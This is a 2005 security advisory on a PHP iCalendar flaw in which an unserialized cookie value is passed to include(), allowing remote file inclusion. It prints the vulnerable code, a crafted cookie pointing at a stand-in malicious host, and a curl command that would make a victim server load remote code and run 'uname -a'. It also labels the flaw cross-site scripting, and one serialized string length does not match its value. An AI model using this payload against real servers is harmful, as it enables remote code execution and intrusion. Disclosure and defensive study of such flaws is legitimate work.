SecurityReason - PHP iCalendar CSS

Advisory Text :

PHP iCalendar CSS

Name Cross-Site-Scripting Vulnerabilities in PHP iCalendar
Severity Medium Risk
Vendor http://www.phpicalendar.net
Advisory http://www.ush.it/2005/10/25/php-icalendar-css/
Additional (it) http://www.ush.it/team/ascii/hack-PHP-iCalendar/adv.txt
Author Francesco 'aScii' Ongaro (ascii at katamail . com)
Date 20051023

I. BACKGROUND

PHP iCalendar is a php calendar, more information is available at the
vendor site.

II. DESCRIPTION

PHP iCalendar is vulnerable to Cross Site Scripting cause of a wrong
input validation in index.php and will include an arbitrary file
ending with .php.

The vulnerable code is:

> config.inc.php

$printview_default = 'no';

> index.php

if (isset($_COOKIE['phpicalendar'])) {
$phpicalendar = unserialize(stripslashes($_COOKIE['phpicalendar']));
$default_view = $phpicalendar['cookie_view'];
}

if ($printview_default == 'yes') {
$printview = $default_view;
$default_view = "print.php";
} else {
$default_view = "$default_view".".php";
}

include($default_view);

As you can see there is no input validation at all.

III. ANALYSIS

This vulnerability can be exploited using an hand-crafted cookie with
the right serialized array inside.

a:1:{s:11:"cookie_view";s:23:"http://www.mali.cious/script";}

curl http://www.vic.tim/path/ -b 'phpicalendar=a%3A1%3A%7Bs%3A11%3A%22cook
ie_view%22%3Bs%3A34%3A%22http%3A%2F%2Fwww.
ush.it%2Fteam%2Fascii%2F-----%22%3B%7D' -d 'user=uname -a'

IV. DETECTION

PHP iCalendar 2.0a2, 2.0b, 2.0c, 2.0.1 are vulnerable.

V. WORKAROUND

Input validation or header location will fix the vulnerability.
PHP no remote fopen and open basedir will play also (if not..).

VI. VENDOR RESPONSE

Vendor fixed the bug in the cvs tree, not verified.

http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail1.txt
http://www.ush.it/team/ascii/hack-PHP-iCalendar/mail2.txt

VII. CVE INFORMATION

No CVE at this time.

VIII. DISCLOSURE TIMELINE

20051023 Bug discovered
20051024 Working exploit written
20051025 Sikurezza.org notification
20051025 Initial vendor notification
20051025 Initial vendor response
20051025 Vendor CVS fix
20051025 Public disclosure

IX. CREDIT

ascii is credited with the discovery of this vulnerability.

X. LEGAL NOTICES

Copyright (c) 2005 Francesco 'aScii' Ongaro

Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without mine express
written consent. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically, please
email me for permission.

Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct, indirect,
or consequential loss or damage arising from use of, or reliance on,
this information.